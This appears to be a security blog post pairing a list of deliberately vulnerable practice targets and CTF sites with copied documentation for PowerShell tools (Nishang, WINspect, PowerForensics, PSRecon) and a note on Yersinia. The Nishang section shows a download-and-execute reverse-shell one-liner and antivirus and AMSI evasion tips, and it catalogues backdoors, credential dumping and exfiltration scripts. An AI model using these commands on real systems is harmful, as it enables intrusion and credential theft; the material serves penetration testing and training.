Vulnerable Operating System Installations
21LTR http://21ltr.com/scenes/
Damn Vulnerable Linux http://sourceforge.net/projects/virtualhacking/files/os/dvl/
exploit-exercises – nebula, protostar, fusion http://exploit-exercises.com/download
heorot: DE-ICE, hackerdemia http://hackingdojo.com/downloads/iso/De-ICE_S1.100.iso
http://hackingdojo.com/downloads/iso/De-ICE_S1.110.iso
http://hackingdojo.com/downloads/iso/De-ICE_S1.120.iso
http://hackingdojo.com/downloads/iso/De-ICE_S2.100.iso
hackerdemia – http://hackingdojo.com/downloads/iso/De-ICE_S1.123.iso
Holynix http://sourceforge.net/projects/holynix/files/
Kioptrix http://www.kioptrix.com/blog/
LAMPSecurity http://sourceforge.net/projects/lampsecurity/
Metasploitable http://sourceforge.net/projects/virtualhacking/files/os/metasploitable/
neutronstar http://neutronstar.org/goatselinux.html
PenTest Laboratory http://pentestlab.org/lab-in-a-box/
Pentester Lab https://www.pentesterlab.com/exercises
pWnOS http://www.pwnos.com/
RebootUser Vulnix http://www.rebootuser.com/?page_id=1041
SecGame # 1: Sauron http://sg6-labs.blogspot.co.uk/2007/12/secgame-1-sauron.html
scriptjunkie.us http://www.scriptjunkie.us/2012/04/the-hacker-games/
UltimateLAMP http://www.amanhardikar.com/mindmaps/practice-links.html
TurnKey Linux http://www.turnkeylinux.org/
Bitnami https://bitnami.com/stacks
Elastic Server http://elasticserver.com
OS Boxes http://www.osboxes.org
VirtualBoxes http://virtualboxes.org/images/
VirtualBox Virtual Appliances https://virtualboximages.com/
CentOS http://www.centos.org/
Default Windows Clients https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://dev.windows.com/en-us/microsoft-edge/tools/vms/
Default Windows Server https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-technical-preview
Default VMWare vSphere http://www.vmware.com/products/vsphere/
Sites for Downloading Older Versions of Various Software
Exploit-DB http://www.exploit-db.com/
Old Apps http://www.oldapps.com/
Old Version http://www.oldversion.com/
VirtualHacking Repo sourceforge.net/projects/virtualhacking/files/apps%40realworld/
Sites by Vendors of Security Testing Software
Acunetix acuforum http://testasp.vulnweb.com/
Acunetix acublog http://testaspnet.vulnweb.com/
Acunetix acuart http://testphp.vulnweb.com/
Cenzic crackmebank http://crackme.cenzic.com
HP freebank http://zero.webappsecurity.com
IBM altoromutual http://demo.testfire.net/
Mavituna testsparker http://aspnet.testsparker.com
Mavituna testsparker http://php.testsparker.com
NTOSpider Test Site http://www.webscantest.com/
Sites for Improving Your Hacking Skills
Embedded Security CTF https://microcorruption.com
EnigmaGroup http://www.enigmagroup.org/
Escape http://escape.alf.nu/
Google Gruyere http://google-gruyere.appspot.com/
Gh0st Lab http://www.gh0st.net/
Hack This Site http://www.hackthissite.org/
HackThis http://www.hackthis.co.uk/
HackQuest http://www.hackquest.com/
Hack.me https://hack.me
Hacking-Lab https://www.hacking-lab.com
Hacker Challenge http://www.dareyourmind.net/
Hacker Test http://www.hackertest.net/
hACME Game http://www.hacmegame.org/
Halls Of Valhalla http://halls-of-valhalla.org/beta/challenges
Hax.Tor http://hax.tor.hu/
OverTheWire http://www.overthewire.org/wargames/
PentestIT http://www.pentestit.ru/en/
CSC Play on Demand https://pod.cybersecuritychallenge.org.uk/
pwn0 https://pwn0.com/home.php
RootContest http://rootcontest.com/
Root Me http://www.root-me.org/?lang=en
Security Treasure Hunt http://www.securitytreasurehunt.com/
Smash The Stack http://www.smashthestack.org/
SQLZoo http://sqlzoo.net/hack/
TheBlackSheep and Erik http://www.bright-shadows.net/
ThisIsLegal http://thisislegal.com/
Try2Hack http://www.try2hack.nl/
WabLab http://www.wablab.com/hackme
XSS: Can You XSS This? http://canyouxssthis.com/HTMLSanitizer/
XSS Game https://xss-game.appspot.com/
XSS: ProgPHP http://xss.progphp.com/
CTF Sites / Archives
CAPTF Repo http://captf.com/
CTFtime (Details of CTF Challenges) http://ctftime.org/ctfs/
CTF write-ups repository https://github.com/ctfs
Reddit CTF Announcements http://www.reddit.com/r/securityctf
shell-storm Repo http://shell-storm.org/repo/CTF/
VulnHub https://www.vulnhub.com
Mobile Apps
Damn Vulnerable Android App (DVAA) https://code.google.com/p/dvaa/
Damn Vulnerable FirefoxOS Application (DVFA) https://github.com/pwnetrationguru/dvfa/
Damn Vulnerable iOS App (DVIA) http://damnvulnerableiosapp.com/
ExploitMe Mobile Android Labs http://securitycompass.github.io/AndroidLabs/
ExploitMe Mobile iPhone Labs http://securitycompass.github.io/iPhoneLabs/
Hacme Bank Android http://www.mcafee.com/us/downloads/free-tools/hacme-bank-android.aspx
InsecureBank http://www.paladion.net/downloadapp.html
NcN Wargame http://noconname.org/evento/wargame/
OWASP iGoat http://code.google.com/p/owasp-igoat/
OWASP Goatdroid https://github.com/jackMannino/OWASP-GoatDroid-Project
Lab
binjitsu https://github.com/binjitsu/binjitsu
CTFd https://github.com/isislab/CTFd
Mellivora https://github.com/Nakiami/mellivora
NightShade https://github.com/UnrealAkama/NightShade
MCIR https://github.com/SpiderLabs/MCIR
Docker https://www.docker.com/
Vagrant https://www.vagrantup.com/
NETinVM http://informatica.uv.es/~carlos/docencia/netinvm/
SmartOS https://smartos.org/
SmartDataCenter https://github.com/joyent/sdc
vSphere Hypervisor https://www.vmware.com/products/vsphere-hypervisor/
GNS3 http://sourceforge.net/projects/gns-3/
OCCP https://opencyberchallenge.net/
XAMPP https://www.apachefriends.org/index.html
Miscellaneous
VulnVPN http://www.rebootuser.com/?page_id=1041
VulnVoIP http://www.rebootuser.com/?page_id=1041
Vulnserver http://www.thegreycorner.com/2010/12/introducing-vulnserver.html
NETinVM http://informatica.uv.es/~carlos/docencia/netinvm/
DVRF https://github.com/praetorian-inc/DVRF
HackSys Extreme Vulnerable Driver http://www.payatu.com/hacksys-extreme-vulnerable-driver/
VirtuaPlant https://github.com/jseidl/virtuaplant
Fosscomm https://github.com/nikosdano/fosscomm
Morning Catch http://blog.cobaltstrike.com/2014/08/06/introducing-morning-catch-a-phishing-paradise/
AWBO https://labs.snort.org/awbo/awbo.html

Build a effective powershell audit lab

Linux is good to test almost everything but for windows mind oriented sysadmin will be useful and good practice have a small audit security labs to have under always under control their client on LAN.

Recently i organize some tools for a government network and this was very useful and easy to learn for them

First powershell suite is Nishang (Download)

Nishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming. Nishang is useful during all phases of penetration testing.

By nikhil_mitt

Usage

Import all the scripts in the current PowerShell session (PowerShell v3 onwards).

PS C:\nishang> Import-Module .\nishang.psm1

Use the individual scripts with dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1

PS C:\nishang> Get-Information

To get help about any script or function, use:

PS C:\nishang> Get-Help [scriptname] -full

Note that the help is available for the function loaded after running the script and not the script itself since version 0.3.8. In all cases, the function name is same as the script name.

For example, to see the help about Get-WLAN-Keys.ps1, use

PS C:\nishang> . C:\nishang\Get-WLAN-Keys.ps1

PS C:\nishang> Get-Help Get-WLAN-Keys -Full

Anti Virus

Nishang scripts are flagged by many Anti Viruses as malicious. The scrripts on a target are meant to be used in memory which is very easy to do with PowerShell. Two basic methods to execute PowerShell scripts in memory:

Method 1. Use the in-memory dowload and execute: Use below command to execute a PowerShell script from a remote shell, meterpreter native shell, a web shell etc. and the function exported by it. All the scripts in Nishang export a function with same name in the current PowerShell session.

powershell iex (New-Object Net.WebClient).DownloadString(‘http:///Invoke-PowerShellTcp.ps1’);Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]

Method 2. Use the -encodedcommand (or -e) parameter of PowerShell All the scripts in Nishang export a function with same name in the current PowerShell session. Therefore, make sure the function call is made in the script itself while using encodedcommand parameter from a non-PowerShell shell. For above example, add a function call (without quotes) “Invoke-PowerShellTcp -Reverse -IPAddress [IP] -Port [PortNo.]”.

Encode the scrript using Invoke-Encode from Nishang:

PS C:\nishang> . \nishang\Utility\Invoke-Encode

PS C:\nishang> Invoke-Encode -DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

Encoded data written to .\encoded.txt

Encoded command written to .\encodedcommand.txt

From above, use the encoded script from encodedcommand.txt and run it on a target where commands could be executed (a remote shell, meterpreter native shell, a web shell etc.). Use it like below:

C:\Users\target> powershell -e [encodedscript]

If the scripts still get detected changing the function and parameter names and removing the help content will help.

In case Windows 10’s AMSI is still blocking script execution, see this blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Scripts

Nishang currently contains the following scripts and payloads.

ActiveDirectory

Set-DCShadowPermissions

Modify AD objects to provide minimal permissions required for DCShadow.

Antak – the Webshell

Antak

Execute PowerShell scripts in memory, run commands, and download and upload files using this webshell.

Backdoors

HTTP-Backdoor

A backdoor which can receive instructions from third party websites and execute PowerShell scripts in memory.

DNS_TXT_Pwnage

A backdoor which can receive commands and PowerShell scripts from DNS TXT queries, execute them on a target, and be remotely controlled using the queries.

Execute-OnTime

A backdoor which can execute PowerShell scripts at a given time on a target.

Gupt-Backdoor

A backdoor which can receive commands and scripts from a WLAN SSID without connecting to it.

Add-ScrnSaveBackdoor

A backdoor which can use Windows screen saver for remote command and script execution.

Invoke-ADSBackdoor

A backdoor which can use alternate data streams and Windows Registry to achieve persistence.

Add-RegBackdoor

A backdoor which uses well known Debugger trick to execute payload with Sticky keys and Utilman (Windows key + U).

Set-RemoteWMI

Modify permissions of DCOM and WMI namespaces to allow access to a non-admin user.

Set-RemotePSRemoting

Modify permissions of PowerShell remoting to allow access to a non-admin user.

Bypass

Invoke-AmsiBypass

Implementation of publicly known methods to bypass/avoid AMSI.

Client

Out-CHM

Create infected CHM files which can execute PowerShell commands and scripts.

Out-Word

Create Word files and infect existing ones to run PowerShell commands and scripts.

Out-Excel

Create Excel files and infect existing ones to run PowerShell commands and scripts.

Out-HTA

Create a HTA file which can be deployed on a web server and used in phishing campaigns.

Out-Java

Create signed JAR files which can be used with applets for script and command execution.

Out-Shortcut

Create shortcut files capable of executing PowerShell commands and scripts.

Out-WebQuery

Create IQY files for phishing credentials and SMB hashes.

Out-JS

Create JS files capable of executing PowerShell commands and scripts.

Out-SCT

Create SCT files capable of executing PowerShell commands and scripts.

Out-SCF

Create a SCF file which can be used for capturing NTLM hash challenges.

Escalation

Enable-DuplicateToken

When SYSTEM privileges are required.

Remove-Update

Introduce vulnerabilities by removing patches.

Invoke-PsUACme

Bypass UAC.

Execution

Download-Execute-PS

Download and execute a PowerShell script in memory.

Download_Execute

Download an executable in text format, convert it to an executable, and execute.

Execute-Command-MSSQL

Run PowerShell commands, native commands, or SQL commands on a MSSQL Server with sufficient privileges.

Execute-DNSTXT-Code

Execute shellcode in memory using DNS TXT queries.

Out-RundllCommand

Execute PowerShell commands and scripts or a reverse PowerShell session using rundll32.exe.

Gather

Check-VM

Check for a virtual machine.

Copy-VSS

Copy the SAM file using Volume Shadow Copy Service.

Invoke-CredentialsPhish

Trick a user into giving credentials in plain text.

FireBuster FireListener

A pair of scripts for egress testing

Get-Information

Get juicy information from a target.

Get-LSASecret

Get LSA Secret from a target.

Get-PassHashes

Get password hashes from a target.

Get-WLAN-Keys

Get WLAN keys in plain text from a target.

Keylogger

Log keystrokes from a target.

Invoke-MimikatzWdigestDowngrade

Dump user passwords in plain on Windows 8.1 and Server 2012

Get-PassHints

Get password hints of Windows users from a target.

Show-TargetScreen

Connect back and Stream target screen using MJPEG.

Invoke-Mimikatz

Load mimikatz in memory. Updated and with some customisation.

Invoke-Mimikittenz

Extract juicy information from target process (like browsers) memory using regex.

Invoke-SSIDExfil

Exfiltrate information like user credentials, using WLAN SSID.

Invoke-SessionGopher

Identify admin jump-boxes and/or computers used to access Unix machines.

MITM

Invoke-Interceptor

A local HTTPS proxy for MITM attacks.

Pivot

Create-MultipleSessions

Check credentials on multiple computers and create PSSessions.

Run-EXEonRemote Copy and execute an executable on multiple machines.

Invoke-NetworkRelay Create network relays between computers.

Prasadhak

Prasadhak

Check running hashes of running process against the VirusTotal database.

Scan

Brute-Force

Brute force FTP, Active Directory, MSSQL, and Sharepoint.

Port-Scan

A handy port scanner.

Powerpreter

Powerpreter

All the functionality of nishang in a single script module.

Shells

Invoke-PsGcat

Send commands and scripts to specifed Gmail account to be executed by Invoke-PsGcatAgent

Invoke-PsGcatAgent

Execute commands and scripts sent by Invoke-PsGcat.

Invoke-PowerShellTcp

An interactive PowerShell reverse connect or bind shell

Invoke-PowerShellTcpOneLine

Stripped down version of Invoke-PowerShellTcp. Also contains, a skeleton version which could fit in two tweets.

Invoke-PowerShellTcpOneLineBind

Bind version of Invoke-PowerShellTcpOneLine.

Invoke-PowerShellUdp

An interactive PowerShell reverse connect or bind shell over UDP

Invoke-PowerShellUdpOneLine

Stripped down version of Invoke-PowerShellUdp.

Invoke-PoshRatHttps

Reverse interactive PowerShell over HTTPS.

Invoke-PoshRatHttp

Reverse interactive PowerShell over HTTP.

Remove-PoshRat

Clean the system after using Invoke-PoshRatHttps

Invoke-PowerShellWmi

Interactive PowerShell using WMI.

Invoke-PowerShellIcmp

An interactive PowerShell reverse shell over ICMP.

Invoke-JSRatRundll

An interactive PowerShell reverse shell over HTTP using rundll32.exe.

Invoke-JSRatRegsvr

An interactive PowerShell reverse shell over HTTP using regsvr32.exe.

Utility

Add-Exfiltration

Add data exfiltration capability to Gmail, Pastebin, a web server, and DNS to any script.

Add-Persistence

Add reboot persistence capability to a script.

Remove-Persistence

Remote persistence added by the Add-Persistence script.

Do-Exfiltration

Pipe (|) this to any script to exfiltrate the output.

Download

Transfer a file to the target.

Parse_Keys

Parse keys logged by the keylogger.

Invoke-Encode

Encode and compress a script or string.

Invoke-Decode

Decode and decompress a script or string from Invoke-Encode.

Start-CaptureServer

Run a web server which logs Basic authentication and SMB hashes.

ConvertTo-ROT13

Encode a string to ROT13 or decode a ROT13 string.

Out-DnsTxt

Generate DNS TXT records which could be used with other scripts.

[Base64ToString]

[StringToBase64]

[ExetoText]

[TexttoExe]

Updates

Updates about Nishang can be found at my blog http://labofapenetrationtester.com and my Twitter feed @nikhil_mitt.

Bugs, Feedback and Feature Requests

Please raise an issue if you encounter a bug or have a feature request. You can email me at nikhil [dot] uitrgpv at gmail.com

Mailing List

For feedback, discussions, and feature requests, join: http://groups.google.com/group/nishang-users

Contributing

I am always looking for contributors to Nishang. Please submit requests or drop me an email.

Blog Posts

Some helpful blog posts to check out for beginners:

http://www.labofapenetrationtester.com/2014/06/nishang-0-3-4.html

http://labofapenetrationtester.com/2012/08/introducing-nishang-powereshell-for.html

http://labofapenetrationtester.com/2013/08/powerpreter-and-nishang-Part-1.html

http://www.labofapenetrationtester.com/2013/09/powerpreter-and-nishang-Part-2.html

All posts about Nishang:

http://www.labofapenetrationtester.com/search/label/Nishang


(2) WINInspect to audit a specific area of windows distro

A good audit script is WIN-Inspect (download)

       WINspect is part of a larger project for auditing different areas of Windows environments.         
    It focuses on enumerating different parts of a Windows machine to identify security weaknesses       
    and point to components that need further hardening. 

Features

This current version of the script supports the following features :

  • Checking for installed security products.
  • Checking for DLL hijackability (Authenticated Users security context).
  • Checking for User Account Control settings.
  • Checking for unattended installs leftovers.
  • Enumerating world-exposed local filesystem shares.
  • Enumerating domain users and groups with local group membership.
  • Enumerating registry autoruns.
  • Enumerating local services that are configurable by Authenticated Users group members.
  • Enumerating local services for which corresponding binary is writable by Authenticated Users group members.
  • Enumerating non-system32 Windows Hosted Services and their associated DLLs.
  • Enumerating local services with unquoted path vulnerability.
  • Enumerating non-system scheduled tasks.

TODO-LIST

  • Local Security Policy controls.
  • Administrative shares configs.
  • User-defined COM.
  • Suspicious loaded DLLs.
  • Established/listening connections.
  • Exposed GPO scripts.

Supported Powershell Version

This version was tested in a powershell v2.0 environment.


(3) Powerorensics (download)

For more extreme windows minded sysadmin this script will give somme edge

PowerForensics – PowerShell Digital Forensics

Developed by @jaredcatkinson

Build status docs status waffle ready waffle in progress

Overview

The purpose of PowerForensics is to provide an all inclusive framework for hard drive forensic analysis. PowerForensics currently supports NTFS and FAT file systems, and work has begun on Extended File System and HFS+ support.

All PowerForensics documentation has been moved to Read The Docs.

Detailed instructions for installing PowerForensics can be found here.

Public API

PowerForensics is built on a C# Class Library (Assembly) that provides a public API for forensic tasks. The public API provides a modular framework for adding to the capabilities exposed by the PowerForensics module. All of this module’s cmdlets are built on this public API and tasks can easily be expanded upon to create new cmdlets. API documentation can be found here.


(4) PsRecon (DOWNLOAD)

PSRecon

	PSRecon
    PowerShell Incident Response - Live Forensic Data Acquisition
	Greg Foss | @heinzarelli | greg.foss@logrhythm.com
    Released at BlackHat 2015
	v0.2 -- October 2015

[About]

Blog Post => https://logrhythm.com/blog/psrecon/

PSRecon gathers data from a remote Windows host using PowerShell (v2 or later), organizes the data into folders, hashes all extracted data, hashes PowerShell and various system properties, and sends the data off to the security team. The data can be pushed to a share, sent over email, or retained locally.

email

One nice part about the report is that everything is self-contained, making it easy to share as there is no reliance on a centralize server. Even the images are encoded directly into the report’s HTML.

reporting

This script also includes endpoint lockdown functionality. This can be useful when working through a malware outbreak incident, especially when there is risk that the malware will spread to a share or other critical systems within the enterprise. Sometimes the quickest and most effective way to stop the spread of malware is to simply knock the host offline until IT/Security can respond, following the extraction of forensic data. Alternatively to quarantining the host, PSRecon allows you to disable an active directory account as well.

Ideally, this script should be integrated with the organization’s Active Defense frameworks to automate rapid forensic data acquisition and lock down the endpoint.

[How To]

Run PSRecon on local host:
PS C:\> .\psrecon.ps1
    This gathers default data and stores the results in the directory that the script was executed from.
Run PSRecon on remote host:
PS C:\> .\psrecon.ps1 -remote -target [computer]
    This gathers default data and stores the results in the script directory.
    You must choose either the [sendEmail] and/or [share] options to run the script on remote hosts.

Caveats:
    You will need to ensure that psremoting and unsigned execution is enabled on the remote host.  <== dangerous to leave enabled!!
    Be careful, this may inadvertently expose administrative credentials when authenticating to a compromised host.
What if PSRemoting and Unrestricted Execution are disabled?
Remotely enable PSRemoting and Unrestricted PowerShell Execution using PsExec and PSSession, then run PSRecon

    Option 1 -- WMI:
        PS C:\> wmic /node:"10.10.10.10" process call create "powershell -noprofile -command Enable-PsRemoting -Force" -Credential Get-Credential

    Option 2 - PsExec:
        PS C:\> PsExec.exe \\10.10.10.10 -u [admin account name] -p [admin account password] -h -d powershell.exe "Enable-PSRemoting -Force"
    
    Next...

        PS C:\> Test-WSMan 10.10.10.10
        PS C:\> Enter-PSSession 10.10.10.10
        [10.10.10.10]: PS C:\> Set-ExecutionPolicy Unrestricted -Force

    Then...

    Option 1 -- Execute locally in-memory, push evidence to a share, and lock the host down:
        [10.10.10.10]: PS C:\> IEX (New-Object Net.WebClient).DownloadString('https://github.com/gfoss/PSRecon/psrecon.ps1')
        [10.10.10.10]: PS C:\> Copy-Item PSRecon_* -Recurse [network share]
        [10.10.10.10]: PS C:\> rm PSRecon_* -Recurse -Force
        [10.10.10.10]: PS C:\> Invoke-Lockdown; exit

    Option 2 -- Exit PSSession, execute PSRecon remotely, send the report out via email, and lock the host down:
        [10.10.10.10]: PS C:\> exit
        PS C:\> .\psrecon.ps1 -remote -target 10.10.10.10 -sendEmail -smtpServer 127.0.0.1 -emailTo greg.foss[at]logrhythm.com -emailFrom psrecon[at]logrhythm.com -lockdown

Be careful! This will open the system up to unnecessary risk!!
You could also inadvertently expose administrative credentials when authenticating to a compromised host.
If the host isn't taken offline, PSRemoting should be disabled along with disallowing Unrestricted PowerShell execution following PSRecon.

[Parameter Breakdown]

Remote Execution:

	-remote 	:	Switch to run PSRecon against a remote host
	-target 	:	Define the remote host to extract data from

Send Forensic Data via Email:

	-sendEmail 	: 	Allows the script to send the HTML report over SMTP.
    -smtpServer : 	Sets the remote SMTP Server that will be used to forward reports.
    -emailTo 	: 	Defines the email recipient. Multiple recipients can be separated by commas.
    -emailFrom 	: 	Defines the email sender.

Push Forensic Data to Share:

	-share 		:	Switch to push evidence to a remote share or send the HTML report over SMTP.
    -netShare 	: 	Defines the remote share. This should be manually tested with the credentials you will execute the script with.

Lockdown and Disable Active Directory Account:

	-lockdown 	:	Quarantine's the workstation. This disables the NIC's, locks the host and logs the user out.
    -adLock 	:	Disables the target username ID within Active Directory. A username must be provided (-adlock "username").

Extract additional data (extends the time it takes to run PSRecon by a few minutes):

	-email 		:	Extracts client email data (from / to / subject / email links).

Credentials - Required for remote execution and interaction with Active Directory.

	-username 	:	Administrative Username - can be supplied on the command-line or hard-coded into the script.
    -password 	: 	Administrative Password - can be supplied on the command-line or hard-coded into the script. <== Bad idea!!
    
    If neither parameter is supplied, you will be prompted for credentials -- the safest option aside from local execution.

Miscellaneous:

    -companyName:   Declare the company within the 'company confidential' notice of the report

[Use Cases]

remote

1) Basic Incident Response

Run this script directly to extract live forensic data from a remote host over the network and send the evidence report out via email to the Incident Response team and/or push the evidence in its entirety to a remote share for later review. You could alternatively, run this script on the host directly, by way of a USB and store the results on the external drive.

2) SIEM Integration for Incident Response Automation

Configure as a LogRhythm SmartResponse(TM) to automatically gather live Incident Response data and push HTML reports to the IR team. This can be configured to fire based on alerts observed within the SIEM or launched at-will in SIEM versions 7.0 and higher. When associating with malware events or similar activity where containment is desired, you can leverage the lockdown feature to gather forensic data before effectively knocking the host offline.

3) Remote Data Extraction and Endpoint Quarantine

Say that you have received alerts that a system recently became infected with a variant of Cryptolocker, automated cleanup failed, and you are worried about this spreading to shares. Quickly capture data from the remote host to gather data and better understand the infection and then quarantine the host by disabling NICs, logging the user out, and locking their desktop.

[Notes]

PSRecon does modify the target filesystem, so in a sense this is not as forensically sound as capturing an image using something like EnCase. Please be aware of this before using the tool in a real IR scenario… However, PSRecon does create it’s own application logs and hashes all data obtained in order to track and verify it’s own activity. This is helpful in re-constructing the timeline and verification of access and modifications to the target system, however this may not hold up in court. Please be aware of this.

logging

Speaking of Logging, PSRecon also logs attempted attacks against itself… So, take an example scenario where someone tries to hijack another employee’s browser by inserting JavaScript into a user-controllable field of PSRecon that is embedded within a security solution. To do this they would inject an XSS attack within a user-controllable field that is reflected on the HTML report. These attacks are detected and logged, allowing for additional actions to be taken. Of course, there are tons of ways around this, it’s just a small added precaution for when the script is integrated with security infrastructure.

security

[Thanks]

A good portion of this code has been scavenged from around the Internet because I’m not the best at PowerShell. So, huge thanks are due to the following people for their generous contributions to the community:

-Andrew Hollister : Disable AD Account : Cmdlets
-Boe Prox : Take Screenshot : https://gallery.technet.microsoft.com/scriptcenter/eeff544a-f690-4f6b-a586-11eea6fc5eb8
-Boe Prox : Get-FileHash : https://gallery.technet.microsoft.com/scriptcenter/Get-Hashes-of-Files-1d85de46
-Dave Hull : Kansa - Get-PrefetchListing : https://github.com/davehull/Kansa/blob/master/Modules/Process/Get-PrefetchListing.ps1
-Joe Bialek : Get-ComputerDetails : https://github.com/clymb3r/PowerShell/blob/master/Get-ComputerDetails/Get-ComputerDetails.ps1
-Richard Siddaway : Extract IE History : https://richardspowershellblog.wordpress.com/2011/06/29/ie-history-to-csv/

[License]

Copyright (c) 2015, LogRhythm All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

  • Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
  • Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
  • Neither the name of Greg Foss, LogRhythm, LogRhythm Labs, nor the names of any of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
  • This script is not technically ‘forensically sound’ as it will write to the target host. Please keep this in mind.

Licensed under the Apache License, Version 2.0 (the “License”); you may not use this file except in compliance with the License. You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an “AS IS” BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.

 

 

That’s all folks, hope this article will be helpful

Yersinia and the Layer 2 attack

Im old school pt’ers and one of the evergreen tools i always use in my pentest is Yersinia when i have to check Layer 2 situation.

Is a not so simple tools but have a lot of options to forge specific attack and results are amazing sometimes.

Is common that people think about peripheral security and don’t care about internal security, but even accidentally someone can bring down a LAN or just get easily important documents or access…

Basically with Yersinia you can test a lot of important common and not common attack on layer 2.

Hard to explain with some example, looking for something on the web but always old tuto for old vulnerabilities, for this reason i choose a good series of tutorial that cover general and specific concept about how use this tool for our pentest, hope will be useful

BlackHat Yersinia 

a simple tuto for start

Some videos…

 

 

that’s all folks!